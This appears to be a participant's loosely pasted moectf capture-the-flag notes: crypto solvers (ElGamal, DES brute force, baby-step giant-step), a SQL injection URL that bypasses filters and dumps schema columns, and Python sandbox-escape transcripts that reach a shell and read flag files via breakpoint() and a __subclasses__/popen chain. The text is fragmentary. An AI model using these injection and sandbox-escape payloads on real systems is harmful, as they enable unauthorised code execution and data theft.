#!/usr/bin/env python3 # decrypt_elgamal.py # Requires pycryptodome (for Crypto.Util.number) # pip install pycryptodome from Crypto.Util.number import inverse, long_to_bytes # --- paste the parameters exactly as integers below --- p = 11540963715962144951763578255357417528966715904849014985547597657698304891044841099894993117258279094910424033273299863589407477091830213468539451196239863 g = 2 y = 8313424783366011287014623582773521595333285291380540689467073212212931648415580065207081449784135835711205324186662482526357834042013400765421925274271853 c1 = 6652053553055645358275362259554856525976931841318251152940464543175108560132949610916012490837970851191204144757409335011811874896056430105292534244732863 c2 = 2314913568081526428247981719100952331444938852399031826635475971947484663418362533363591441216570597417789120470703548843342170567039399830377459228297983 x = 8010957078086554284020959664124784479610913596560035011951143269559761229114027738791440961864150225798049120582540951874956255115884539333966429021004214 # -------------------------------------------------- def elgamal_decrypt(p, c1, c2, x): # compute s = c1^x mod p s = pow(c1, x, p) # compute s^{-1} mod p s_inv = inverse(s, p) # recover message integer m m = (c2 * s_inv) % p return m if __name__ == "__main__": m = elgamal_decrypt(p, c1, c2, x) try: flag_bytes = long_to_bytes(m) # print raw bytes repr and attempt decode as utf-8 print("Recovered bytes (repr):", repr(flag_bytes)) try: print("Recovered as UTF-8 string:") print(flag_bytes.decode('utf-8')) except Exception: print("Note: could not decode as UTF-8. Inspect bytes above.") except Exception as e: print("Error converting integer to bytes:", e) print("Integer m:", m)
ez_des
from Crypto.Cipher import DES import itertools, string, time, sys, re ciphertext = b'\xe6\x8b\x0c\x8m\t?\x1d\xf6\x99sA>\xce \rN\x83z\xa0\xdc{\xbc\xb8X\xb2\xe2q\xa4"\xfc\x07' prefix = 'ezdes' chars = string.ascii_letters + string.digits + string.punctuation start = time.time() tried = 0 found = None pattern = re.compile()
b'moectf\\{[^\\}]{1,100}\\}'
# expect something like moectf{...} for combo in itertools.product(chars, repeat=3): key = (prefix + ''.join(combo)).encode('utf-8') des = DES.new(key, DES.MODE_ECB) plain = des.decrypt(ciphertext) m = pattern.search(plain) tried += 1 if m: found = (key, m.group().decode('utf-8', errors='replace'), plain) print("FOUND! key =", key, "flag =", m.group().decode('utf-8', errors='replace')) break # print progress occasionally if tried % 50000 == 0: elapsed = time.time() - start rate = tried/elapsed print(f"tried={tried}, rate={rate:.0f} keys/sec, elapsed={elapsed:.1f}s", flush=True) end = time.time() if not found: print("No match found in the full search.", "tried =", tried) else: print("Done. Tried:", tried, "Time:", end-start) # For user's inspection, also print the full decrypted plaintext bytes for the found key (if any) if found: key, flag, full_plain = found print("\nFull decrypted plaintext bytes (escaped):") print(full_plain) print("\nAs utf-8 (with replacement for non-printable):") print(full_plain.decode('utf-8', errors='replace'))
正在提交:moectf{_Ju5t envmEra+e.!}
最小神秘数字
# def bsgs(base, target, modulus): # """ # Baby-Step Giant-Step 解离散对数:base^x ≡ target (mod modulus) # 返回最小的正整数 x # """ # base %= modulus # target %= modulus # # m = int(modulus ** 0.5) + 1 # # 存储 base^j -> j # table = {} # e = 1 # for j in range(m): # if e in table: # break # table[e] = j # e = (e * base) % modulus # # # 计算 base^(-m) mod modulus # factor = pow(base, modulus - 1 - m, modulus) # # gamma = target # for i in range(m): # if gamma in table: # return i * m + table[gamma] # gamma = (gamma * factor) % modulus # return None # # # def main(): # m = 10000000000099 # base = 10 # target = 1030627 # 1 + 114514 * 9 # # N = bsgs(base, target, m) # print(f"最小的 N = {N}") # # # 验证 # Rn = (pow(10, N, 9 * m) - 1) // 9 # if Rn % m == 114514: # print("验证成功!") # else: # print("验证失败!") # # # if __name__ == "__main__": # main() from math import isqrt import sys M = 10000000000099 target = (9 * 114514 + 1) % M # 1030627 g = 10 % M def bsgs(g, target, mod): """Solve g^x = target (mod mod), return x or None""" if target == 1: return 0 m = isqrt(mod) + 1 baby = {} cur = 1 for j in range(m): if cur not in baby: baby[cur] = j cur = (cur * g) % mod factor = pow(g, m, mod) cur = target for i in range(m+1): if cur in baby: return i * m + baby[cur] cur = (cur * factor) % mod return None def multiplicative_order(g, mod): """Find order of g mod mod (brute force factorization of totient not possible here, so fallback)""" # We cannot factor M-1 directly (too large), so fallback to cycle detection. seen = {} cur = 1 for i in range(1, 10**7): # limit for safety cur = (cur * g) % mod if cur == 1: return i if cur in seen: break seen[cur] = i return None # Step 1: BSGS N0 = bsgs(g, target, M) print("One solution N0 =", N0) # Step 2: Try to confirm with direct computation check_val = pow(g, N0, M) print("10^N0 mod M =", check_val, "expected", target) print("Check (10^N0-1)/9 mod M =", ((check_val - 1) * pow(9, -1, M)) % M) # Step 3: Try to find another solution by exploring multiples of order ord10 = multiplicative_order(g, M) print("Order of 10 mod M (maybe truncated) =", ord10) if ord10: alt = (N0 + ord10) % (M-1) print("Another candidate N =", alt) print("10^alt mod M =", pow(10, alt, M)) 7718260004383 2281743386085
ezBSGS:
# 依旧 ai 神力 from math import isqrt def BSGS(a, b, p): a %= p b %= p if b == 1: return 0 n = isqrt(p) + 1 baby = {} cur = 1 # baby steps for j in range(n): if cur not in baby: baby[cur] = j cur = (cur * a) % p # a^{-n} an = pow(a, n * (p - 2), p) # 因为 p 可能是质数,也可能不是,但先尝试费马逆元 cur = b for i in range(n): if cur in baby: return i * n + baby[cur] cur = (cur * an) % p return None p = 100000000000099 a = 13 b = 114514 x = BSGS(a, b, p) print("Flag:", x)
value http://192.168.119.1:37984/?username=1'/**/Union/**/select/**/group_concat(column_name),2/**/FROM/**/information_schema.columns/**/WHERE/**/table_schema='user'and/**/table_name='flag'%23&password=1
from pwn import * host = "192.168.119.1" port = 11908# 连接远程服务 r = remote(host, port) # 打印服务发送的第一条信息(通常是验证码提示) print(r.recvline().decode()) # 直接进入交互模式,不做任何处理 r.interactive() #/proc/self/environ
Pyjail 1
defchall(): user_input = input("Give me your code: ") # 过滤关键字 forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file'] for keyword in forbidden_keywords: if keyword in user_input: print(f"Forbidden keyword detected: {keyword}") return result = eval(user_input)
defchall(): user_input = input("Give me your code: ") # 过滤关键字 forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file'] for keyword in forbidden_keywords: if keyword in user_input: print(f"Forbidden keyword detected: {keyword}") return # 过滤特殊字符 forbidden_chars = ['.', '_', '[', ']', "'", '"'] for char in forbidden_chars: if char in user_input: print(f"Forbidden character detected: {char}") return result = eval(user_input)
???刚好上题继续梭哈
Please enter the reverse of 'OM43JUES' to continue: seuj34mo Give me your code: breakpoint() --Return-- > <string>(1)<module>()->None (Pdb) __import__('os').system('sh') ls main.py wrapper.sh cat /tmp/f* moectf{45ef2f8e-4918-910c-13b4-506bc95f022d}
Pyjail 3
defchall(): user_input = input("Give me your code: ") try: result = eval(user_input, {"__builtins__": None}, {}) # Hint: When __builtins__ is None, you need to be more creative... print("Code executed successfully!") if result is not None: print(f"Return value: {result}") except Exception as e: print(f"Execution error: {type(e).__name__}: {e}")
把变量 user_input 中的字符串,当成一个 纯表达式 来求值。
Please enter the reverse of 'NWWBJCXE' to continue: excjbwwn Give me your code: ().__class__.__mro__[1].__subclasses__()[155] Code executed successfully! Return value: <class'os._wrap_close'> Please enter the reverse of 'Y5NAMEEB' to continue: Please enter the reverse of 'G7MTLZXA' to continue: axzltm7g Give me your code: ().__class__.__mro__[1].__subclasses__()[155].__init__.__globals__['popen']('cat /tmp/f*').read() Code executed successfully! Return value: moectf{406fe97a-aeb3-0b20-5902-8e00148ba1f6} ().__class__.__mro__[1].__subclasses__()[155].__init__.__globals__['popen']('cat /tmp/f*').read()